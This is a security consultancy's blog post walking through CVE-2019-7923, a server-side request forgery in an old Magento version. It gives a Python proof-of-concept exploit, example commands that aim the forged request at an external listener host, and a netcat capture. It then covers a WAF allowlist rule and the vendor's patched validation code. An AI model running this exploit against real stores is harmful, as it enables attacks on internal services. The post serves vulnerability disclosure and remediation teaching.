Introduction
At Carve we perform at a lot of web application security assessments. Once we (1) find a vulnerability, we (2) confirm that it’s reproducible, write a proof of concept (PoC) exploit for the vulnerability to determine the impact, and then (3) focus on helping the customer fix the vulnerability with a set of recommendations for mitigations.
In this post, we walk through these steps using Magento as our target platform. For (1), we will use a published CVE. For (2), we will write our own.
For (3), we discuss two options. The first is a short-term mitigation that will provide immediate protection and is implemented by deploying a Web Application Firewall (WAF). The second is a long-term mitigation that is implemented by patching the actual backend code where the vulnerability was found.
The Vulnerability
We start by deploying Magento version 3.2.0 – an old version
with
multiple public CVEs – to an AWS EC2 instance. We’ll
specifically target CVE-2019-7923,
a
server side request forgery vulnerability that allows a
signed in admin user to force the Magento server to send an HTTP
POST
request to a host of their choosing, including
internal services that might otherwise be protected by a
firewall.
The PoC
A simple PoC is as follows:
##
# Exploit for CVE-2019-7923
#
# https://www.cvedetails.com/cve/CVE-2019-7923/
#
##
import argparse
import payload
import requests
Build up a simple argument parser.
parser = argparse.ArgumentParser()
parser.add_argument("–url", help=“The target Magento URL for the store settings.”)
parser.add_argument("–target", help=“The SSRF URL target.”)
parser.add_argument("–cookie", help=“The admin cookie.”)
parser.add_argument("–form_key", help=“The CSRF form key.”)
args = parser.parse_args()
Construct a paylod from the given arguments.
form_data = payload.form_data.copy()
form_data[“form_key”] = args.form_key
form_data[“groups[temando][fields][session_endpoint][value]”] = args.target
form_data[“groups[temando][fields][account_id][value]”] = “12345678”
form_data[“groups[temando][fields][bearer_token][value]”] = “ABCDEFGH”
Send the request.
cookies = {“admin”: args.cookie}
r = requests.post(args.url, cookies=cookies, data=form_data)
Using our Magento server in AWS, the exploit can be delivered like:
$ export URL='http://ec2-3-84-126-209.compute-1.amazonaws.com/magento/
admin_1rlerh/admin/system_config/save/key/
2e4b3bfcc5a2949e3717a9bc17fc1dd711c67229d778ec660360a3b1dcb792a7/section/carriers/'
$ export TARGET='http://45.55.179.16:8001'
$ export COOKIE='ac6slpv0lm6tf0e98o8elvclb5'
$ export FORM_KEY='dUH0bFg9zErKfuDl'
$ python exploit.py --url $URL --target $TARGET --cookie $COOKIE --form_key $FORM_KEY
A listener waiting on the Internet shows the requests received on behalf of Magento:
$ nc -vvlp 8001
listening on [any] 8001 ...
connect to [45.55.179.16] from ec2-3-84-126-209.compute-1.amazonaws.com [3.84.126.209] 55138
POST /sessions HTTP/1.1
Host: 45.55.179.16:8001
Cache-Control: no-cache
Content-Type: application/vnd.api+json
Accept: application/vnd.api+json
Content-Length: 106
{“data”:
{“type”:“session”,
“attributes”:
{“scope”:“admin”,
“accountId”:“12345678”,
“bearerToken”:“ABCDEFGH”
}
}
}
Mitigations
As engineers, we typically always strive to implement The Right Fix. However, in the real world that isn’t always immediately practical. In practice one often sees a two pronged strategy of a short-term fix and a long-term fix. The short-term fix will be deployed ASAP to limit the exposure of the vulnerability. The long-term fix will be implemented by the engineering team in the affected service.
So what does this look like for the vulnerability outlined above?
Short-Term
In the short term, we want to block the malicious request from going through as quickly as possible and without causing disruption in other parts of the application. This sounds like a good fit for a WAF. Many Carve customers use Signal Sciences with great results. Signal Sciences has a very handy reverse proxy agent that you can sit in front of your site without modifying the host installation. That is what we used for this experiment.
After the agent has been set up and is pointing at the upstream Magento instance, we define a rule to block the malicious request. We do this by only allowing certain whitelisted URLs to be passed to the vulnerable Magento endpoint thereby eliminating the SSRF vulnerability. This can be seen in the following figure:
This rule instructs Signal Sciences to look for a
POST
parameter named
groups[temando][fields][session_endpoint][value]
and
block any request where the value of that
parameter does NOT equal
ec2-ip.compute-1.amazonaws.com
.
Now we run our PoC again:
$ python exploit.py --url $URL --target $TARGET --cookie $COOKIE --form_key $FORM_KEY
However, this time it is blocked by Signal Sciences:
Pretty cool. The exploit was blocked by creating a rule that took all of 1 minute to write.
Long-Term
Now that Signal Sciences is plugging the hole, what about the long-term? With some protection in place the engineering team can get to work writing a full patch to fix the vulnerability. Creating a full patch is still very important because there could be circumstances that cause the WAF to come down or be bypassed. Furthermore, the underlying vulnerable code might be distributed to other organizations that need the fix.
For this particular case, we can analyze the Magento source
code to see the exact fix that was put in place. First let’s look
at the Magento 3.2.0 code that we exploited (from the release
tarball). The relevant piece is from
module-shipping-m2/Model/Config/Backend/Active/CredentialsValidator.php
:
public function getAuthenticationValidator()
{
$callback = function (\Magento\Framework\App\Config\Value $field) {
$enabled = $field->getValue();
// read session endpoint from current save operation
$sessionUrl = $field->getFieldsetDataValue('session_endpoint');
// read account id from current save operation
$accountId = $field->getFieldsetDataValue('account_id');
// read bearer token from current save operation
$bearerToken = $field->getFieldsetDataValue('bearer_token');
if (!$enabled && !$accountId && !$bearerToken) {
// it's ok to leave credentials empty as long as shipping method is disabled.
return true;
}
try {
return $this->connection->test($sessionUrl, $accountId, $bearerToken);
} catch (\Exception $e) {
return false;
}
};
$validator = new \Zend_Validate_Callback($callback);
$message = __('Magento Shipping authentication failed. Please check your credentials.');
$validator->setMessage($message);
return $validator;
}
It is plain to see that the URL in
session_endpoint
is blindly reached out to with
$this->connection->test($sessionUrl, $accountId,
$bearerToken);
. A proper fix would change that code to
whitelist valid URLs. This is exactly what Magento 3.3.3 does by
only allowing sub-domains of termando.io
:
public function getUriEndpointValidator()
{
$callback = function (\Magento\Framework\App\Config\Value $field, UriValidator $uriValidator) {
// read session endpoint from current save operation
$sessionUrl = $field->getFieldsetDataValue('session_endpoint');
if (empty($sessionUrl)) {
return true;
}
if (!preg_match('/^https?:\/\/[\dA-Za-z\-\.]+\.temando\.io\/?$/', $sessionUrl)) {
return false;
}
return $uriValidator->isValid($sessionUrl);
};
$uriValidator = new UriValidator(['uriHandler' => \Zend\Uri\Http::class]);
$message = __('Please enter a valid URL. Protocol (http://, https://) is required.');
$validator = new CallbackValidator($callback);
$validator->setCallbackOptions([$uriValidator]);
$validator->setMessage($message, CallbackValidator::INVALID_VALUE);
return $validator;
}
It is interesting to note that the Signal Sciences fix effectively did the exact same thing without touching a line of source code.
Conclusion
In this post we have walked through the steps of finding an exploit, writing a PoC for it, and different strategies for fixing the vulnerability. By deploying a two phased mitigation strategy we have provided immediate protection against the vulnerability while giving the engineering team time to re-prioritize engineering efforts when creating a long-term fix. Although we showcased this strategy with SSRF, the general concept is applicable to numerous sorts of data validation flaws. Some of which we will explore in follow-on posts.
Article Link: https://carvesystems.com/news/on-mitigation-strategies/